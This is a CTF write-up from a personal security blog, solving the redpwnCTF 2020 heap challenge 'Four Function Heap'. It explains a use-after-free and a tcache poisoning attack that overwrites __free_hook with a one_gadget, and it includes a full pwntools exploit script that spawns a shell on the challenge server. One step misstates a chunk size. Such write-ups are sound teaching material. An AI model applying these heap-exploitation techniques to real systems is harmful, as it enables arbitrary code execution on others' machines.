blog of bosh mainly cybersec

redpwnCTF 2020

b1c 1st place high schools :D

Four Function Heap

Pwn, 490

When ctf writers can’t think of interesting problems, there’s always four function heap

nc 2020.redpwnc.tf 31774

My first decent heap solve :)

The idea is to get a write and overwrite one of the hooks (I chose to overwrite __free_hook) with a one_gadget to get a shell.

Usual security checks gives us:

boshua@cybersec:~/fourfunction/bin$ pwn checksec four-function-heap
[*] '/home/boshua/fourfunction/bin/four-function-heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

and

boshua@cybersec:~/fourfunction$ strings libc-2.27.so | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Compiled by GNU CC version 7.3.0.

Meaning it’s probably heap exploitation as pointed out by the title.

The binary is also running on the standard libc-2.27.so, so tcache exploitation is probably the way to go as this version of libc doesn’t really have security checks for it.

Some interesting things to note:

  • Only have 14 operations in total
  • Can only use index 0 to read/write/delete; the program won’t accept any other index

Opening the binary into Ghidra, there is a pretty clear UAF vulnerability - when a chunk is created, a variable gets set to that pointer but isn’t reset when that chunk is freed.

  1. I first allocated a 0x100 sized chunk, and leaked its address with a double free and showed it. I needed this address to forge chunks later on.

  2. I allocated another 0x100 chunk from the tcache freelist, and wrote the address I leaked from step 1. The tcache freelist is still the same, but now the counter is 1. See appendix for why I did this.

  3. Next, I allocated a padding chunk of size 0x420. This chunk serves as a padding between the chunk from step 2 and the top, making sure that the previous chunk doesn’t get merged with the top when it’s freed. Note that this chunk is 0x100 size, because I wanted to pull from the top chunk, not the tcache.

  4. I allocated another chunk of size 0x100, as well as writing the leaked chunk address from step 1. This chunk also comes from the tcache freelist, and reduces the counter to 0x00.

  5. I finally allocated one more 0x100 chunk from tcache. This one underflowed the tcache counter to 0xff. The pointer to this chunk was the original leaked pointer, from my overwrite in step 4.

  6. I then freed it, so its address wound up in the unsorted bin. The unsorted bin’s top chunk gets a pointer to the main arena (inside libc) written to it, so I leaked that.

  7. I showed the chunk from step 5 and leaked the libc pointer.

    I calculated the libc base address from the leak, and then calculated the addresses of the __free_hook and the one_gadget I found.

  8. I allocated a 0x40 sized chunk. This basically split my chunk from step 5 into two smaller chunks due to glibc’s first-fit allocation. I wrote the address of __free_hook to this chunk.

    The address of this chunk is pointed to by the first free in action 1. After writing the address of __free_hook, the tcache looks something like top -> chunk1 -> __free_hook

  9. I allocated a 0x100 sized chunk from tcache. This removed one from the tcache freelist and set me up for the __free_hook overwrite.

  10. I allocated a 0x100 sized chunk from tcache. This chunk’s address was the __free_hook address that I wrote in step 8. So, I can just overwrite that address with the address of the one_gadget.

  11. I freed a chunk for the last time, triggering __free_hook and spawning the shell.

from pwn import *

p = remote("2020.redpwnc.tf", 31774)
#p = process("./bin/four-function-heap")
e = ELF("./bin/four-function-heap")
libc = ELF("./libc-2.27.so")

'''
gdb.attach(p, """break * 0x555555554a50
c""")
'''

def alloc(idx, size, data="AAAA"):
	print("alloc")
	p.recvuntil(":")
	p.sendline("1")
	p.sendlineafter(": ", str(idx))
	p.sendlineafter(": ", str(size))
	p.sendlineafter(": ", data)

def free(idx):
	print("free")
	p.recvuntil(":")
	p.sendline("2")
	p.sendlineafter(": ", str(idx))

def show(idx):
	print("show")
	p.recvuntil(":")
	p.sendline("3")
	p.sendlineafter(": ", str(idx))

# Your Code Here
alloc(0, 0x100)

free(0)
free(0)
show(0)

dat = p.recvline()

curr_chunk = u64(dat[:6].ljust(8, "\x00"))
print("curr_chunk", hex(curr_chunk))

alloc(0, 0x100, p64(curr_chunk))
alloc(0, 0x420)
alloc(0, 0x100, p64(curr_chunk))
alloc(0, 0x100, "CCCCCCCC")
free(0)
show(0)

dat = p.recvline()
libc_leak = u64(dat[:6].ljust(8, "\x00"))
print("libc leak", hex(libc_leak))

libc.address = libc_leak - 0x3ebca0
print("libc address", hex(libc.address))

free_hook = libc.sym["__free_hook"]
one_gadg = libc.address + 0x4f322

print("free hook", hex(free_hook))
print("one gadget", hex(one_gadg))

alloc(0, 0x40, p64(free_hook))
alloc(0, 0x100, "AAAAAAAA")
alloc(0, 0x100, p64(one_gadg))
free(0)

p.interactive()

Flag: flag{g3n3ric_f1ag_1n_1e3t_sp3ak}

Appendix

I wanted to leak libc to get the one_gadget address (I only had an offset from libc base due to the security protections).

The standard approach is to fill up the tcache freelist. Then, you can allocate and free one more chunk to get it in the unsorted bin, whos fd pointer will have a pointer to a libc address.

Each tcache bin only holds 7 freed addresses, so you can usually accomplish this by allocating 7 times, then freeing 7 times. However, that in itself is 14 operations, meaning I can’t use that.

The option that I used was to underflow the tcache counter. The idea is to basically request allocations from the tcache freelist until you underflow the counter, setting it equal to 0xff. Then, you can allocate and free one more chunk to get it into the unsorted bin.